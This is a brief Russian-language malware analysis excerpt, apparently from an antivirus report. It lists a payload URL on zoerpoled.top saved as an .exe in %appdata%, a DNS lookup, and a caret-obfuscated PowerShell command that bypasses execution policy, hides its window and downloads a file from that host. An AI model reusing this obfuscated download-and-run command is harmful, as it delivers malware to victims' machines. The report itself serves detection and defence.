Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "PowEr^sh^eLl^.eXE -^e^XEcutIOnpO^Li^cY B^y^PA^s^s ^-N^OpRoF^ilE^ -^Win^doWstyL^E H^Idd^eN (ne^W-^ObjE^cT ^SyS^TeM^.^n^ET^.w^e^bc^lIEnT^).^dO^WNlOAdfI^le^('http://www.zoerpoled.t...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "PowEr^sh^eLl^.eXE -^e^XEcutIOnpO^Li^cY B^y^PA^s^s ^-N^OpRoF^ilE^ -^Win^doWstyL^E H^Idd^eN (ne^W-^ObjE^cT ^SyS^TeM^.^n^ET^.w^e^bc^lIEnT^).^dO^WNlOAdfI^le^('http://www.zoerpoled.t...' (со скрытым окном)